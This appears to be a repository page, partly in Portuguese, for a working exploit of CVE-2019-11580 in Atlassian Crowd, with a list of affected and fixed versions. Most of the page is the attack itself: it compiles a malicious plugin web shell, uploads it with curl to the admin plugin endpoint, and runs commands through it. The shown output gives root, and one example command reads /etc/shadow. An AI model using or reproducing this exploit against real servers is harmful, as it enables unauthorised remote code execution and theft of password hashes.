jas502n/cve-2019-11580Exploit em Python para CVE-2019-11580, uma vulnerabilidade de execução remota de código no Atlassian Crowd e Crowd Data Center. Faz upload de um plugin malicioso para obter acesso ao shell no servidor alvo.
python CVE-2019-11580.py http://xx.xx.xx.xx/
https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-2.11.0.tar.gz
Powered by Atlassian Crowd Version: 2.11.0 (Build:#725 - 2017-01-11)
http://10.10.20.166:8095/crowd/admin/uploadplugin.action
http://10.10.20.166:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow
javac -cp servlet-api.jar com/cdl/shell/exp.java
zip -r rce.jar atlassian-plugin.xml ./com
./compile.sh
updating: atlassian-plugin.xml (deflated 54%)
updating: com/ (stored 0%)
updating: com/cdl/ (stored 0%)
updating: com/cdl/shell/ (stored 0%)
updating: com/cdl/shell/exp.java (deflated 59%)
updating: com/cdl/shell/exp.class (deflated 45%)
curl -k -H "Content-Type: multipart/mixed" \
--form "[email protected]" http://10.10.20.166:8095/crowd/admin/uploadplugin.action
Installed plugin /opt/atlassian/crowd/apache-tomcat/temp/plugindev-1059463178748466378rce.jar
curl "http://10.10.20.166:8095/crowd/plugins/servlet/exp?cmd=whoami"
>>> root
curl "http://10.10.20.166:8095/crowd/plugins/servlet/exp?cmd=id"
>>> uid=0(root) gid=0(root) groups=0(root)
https://github.com/lc/research/blob/master/CVE-2019-11580/atlassian-shell/com/cdl/shell/Cdl.java
Referência: https://www.t00ls.net/articles-51978.html
Código original String cmd="whoami";
Alterado para String cmd=String.valueOf(req.getParameter("cmd"));
Affected Versions
Fixed Version
2.1.0, 2.1.1, 2.1.2, 2.2.0, 2.2.1, 2.2.2, 2.2.3, 2.2.4, 2.2.5, 2.2.6, 2.2.7, 2.2.8, 2.2.9, 2.3.0, 2.3.1, 2.3.2, 2.3.3, 2.3.4, 2.3.5, 2.3.6, 2.3.7, 2.3.8, 2.3.9, 2.3.10, 2.4.0, 2.4.1, 2.4.2, 2.4.3, 2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.5.0, 2.5.1, 2.5.2, 2.5.3, 2.5.4, 2.5.5, 2.5.6, 2.5.7, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.7.0, 2.7.1, 2.7.2, 2.8.0, 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.8.6, 2.8.7, 2.8.8, 2.9.1, 2.9.2, 2.9.3, 2.9.4, 2.9.5, 2.9.6, 2.9.7, 2.10.1, 2.10.2, 2.10.3, 2.10.4, 2.11.0, 2.11.1, 2.11.2, 2.12.0, 2.12.1, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4
3.0.5
3.1.0, 3.1.1, 3.1.2, 3.1.3, 3.1.4, 3.1.5
3.1.6
3.2.0, 3.2.1, 3.2.2, 3.2.3, 3.2.4, 3.2.5, 3.2.6, 3.2.7
3.2.8
3.3.0, 3.3.1, 3.3.2, 3.3.3, 3.3.4
3.3.5
3.4.0, 3.4.1, 3.4.2, 3.4.3
3.4.4
https://www.t00ls.net/articles-51978.html
https://www.corben.io/atlassian-crowd-rce/
https://github.com/lc/research/tree/master/CVE-2019-11580/atlassian-shell